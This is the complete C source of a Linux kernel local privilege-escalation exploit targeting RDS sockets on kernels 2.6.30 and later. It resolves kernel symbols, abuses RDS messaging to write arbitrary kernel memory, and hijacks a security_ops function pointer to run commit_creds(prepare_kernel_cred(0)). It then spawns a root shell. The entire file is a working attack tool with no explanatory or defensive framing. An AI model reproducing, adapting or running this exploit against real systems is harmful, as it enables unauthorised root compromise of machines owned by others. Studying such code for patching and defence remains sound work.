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#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/utsname.h>

#define RECVPORT 5555 
#define SENDPORT 6666

int prep_sock(int port)
{
	
	int s, ret;
	struct sockaddr_in addr;

	s = socket(PF_RDS, SOCK_SEQPACKET, 0);

	if(s < 0) {
		printf("[*] Could not open socket.\n");
		exit(-1);
	}
	
	memset(&addr, 0, sizeof(addr));

	addr.sin_addr.s_addr = inet_addr("127.0.0.1");
	addr.sin_family = AF_INET;
	addr.sin_port = htons(port);

	ret = bind(s, (struct sockaddr *)&addr, sizeof(addr));

	if(ret < 0) {
		printf("[*] Could not bind socket.\n");
		exit(-1);
	}

	return s;

}

void get_message(unsigned long address, int sock)
{

	recvfrom(sock, (void *)address, sizeof(void *), 0,
		 NULL, NULL);

}

void send_message(unsigned long value, int sock)
{
	
	int size, ret;
	struct sockaddr_in recvaddr;
	struct msghdr msg;
	struct iovec iov;
	unsigned long buf;
	
	memset(&recvaddr, 0, sizeof(recvaddr));

	size = sizeof(recvaddr);

	recvaddr.sin_port = htons(RECVPORT);
	recvaddr.sin_family = AF_INET;
	recvaddr.sin_addr.s_addr = inet_addr("127.0.0.1");

	memset(&msg, 0, sizeof(msg));
	
	msg.msg_name = &recvaddr;
	msg.msg_namelen = sizeof(recvaddr);
	msg.msg_iovlen = 1;
	
	buf = value;

	iov.iov_len = sizeof(buf);
	iov.iov_base = &buf;

	msg.msg_iov = &iov;

	ret = sendmsg(sock, &msg, 0);
	if(ret < 0) {
		printf("[*] Something went wrong sending.\n");
		exit(-1);
	}
}

void write_to_mem(unsigned long addr, unsigned long value, int sendsock, int recvsock)
{

	if(!fork()) {
			sleep(1);
			send_message(value, sendsock);
			exit(1);
	}
	else {
		get_message(addr, recvsock);
		wait(NULL);
	}

}

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

int __attribute__((regparm(3)))
getroot(void * file, void * vma)
{

	commit_creds(prepare_kernel_cred(0));
	return -1;	

}

/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
	FILE *f;
	unsigned long addr;
	char dummy;
	char sname[512];
	struct utsname ver;
	int ret;
	int rep = 0;
	int oldstyle = 0;

	f = fopen("/proc/kallsyms", "r");
	if (f == NULL) {
		f = fopen("/proc/ksyms", "r");
		if (f == NULL)
			goto fallback;
		oldstyle = 1;
	}

repeat:
	ret = 0;
	while(ret != EOF) {
		if (!oldstyle)
			ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
		else {
			ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
			if (ret == 2) {
				char *p;
				if (strstr(sname, "_O/") || strstr(sname, "_S."))
					continue;
				p = strrchr(sname, '_');
				if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
					p = p - 4;
					while (p > (char *)sname && *(p - 1) == '_')
						p--;
					*p = '\0';
				}
			}
		}
		if (ret == 0) {
			fscanf(f, "%s\n", sname);
			continue;
		}
		if (!strcmp(name, sname)) {
			fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
			fclose(f);
			return addr;
		}
	}

	fclose(f);
	if (rep)
		return 0;
fallback:
	/* didn't find the symbol, let's retry with the System.map
	   dedicated to the pointlessness of Russell Coker's SELinux
	   test machine (why does he keep upgrading the kernel if
	   "all necessary security can be provided by SE Linux"?)
	*/
	uname(&ver);
	if (strncmp(ver.release, "2.6", 3))
		oldstyle = 1;
	sprintf(sname, "/boot/System.map-%s", ver.release);
	f = fopen(sname, "r");
	if (f == NULL)
		return 0;
	rep = 1;
	goto repeat;
}

int main(int argc, char * argv[])
{
	unsigned long sec_ops, def_ops, cap_ptrace, target;
	int sendsock, recvsock;
	struct utsname ver;

	printf("[*] Linux kernel >= 2.6.30 RDS socket exploit\n");
	printf("[*] by Dan Rosenberg\n");

	uname(&ver);

	if(strncmp(ver.release, "2.6.3", 5)) {
		printf("[*] Your kernel is not vulnerable.\n");
		return -1;
	}	

	/* Resolve addresses of relevant symbols */
	printf("[*] Resolving kernel addresses...\n");
	sec_ops = get_kernel_sym("security_ops");
	def_ops = get_kernel_sym("default_security_ops");
	cap_ptrace = get_kernel_sym("cap_ptrace_traceme");
	commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
	prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");

	if(!sec_ops || !def_ops || !cap_ptrace || !commit_creds || !prepare_kernel_cred) {
		printf("[*] Failed to resolve kernel symbols.\n");
		return -1;
	}

	/* Calculate target */
	target = def_ops + sizeof(void *) + ((11 + sizeof(void *)) & ~(sizeof(void *) - 1));

	sendsock = prep_sock(SENDPORT);
	recvsock = prep_sock(RECVPORT);

	/* Reset security ops */
	printf("[*] Overwriting security ops...\n");
	write_to_mem(sec_ops, def_ops, sendsock, recvsock);

	/* Overwrite ptrace_traceme security op fptr */
	printf("[*] Overwriting function pointer...\n");
	write_to_mem(target, (unsigned long)&getroot, sendsock, recvsock);

	/* Trigger the payload */
	printf("[*] Triggering payload...\n");
	ptrace(PTRACE_TRACEME, 1, NULL, NULL);
	
	/* Restore the ptrace_traceme security op */
	printf("[*] Restoring function pointer...\n");
	write_to_mem(target, cap_ptrace, sendsock, recvsock);

	if(getuid()) {
		printf("[*] Exploit failed to get root.\n");
		return -1;
	}

	printf("[*] Got root!\n");
	execl("/bin/sh", "sh", NULL);

}
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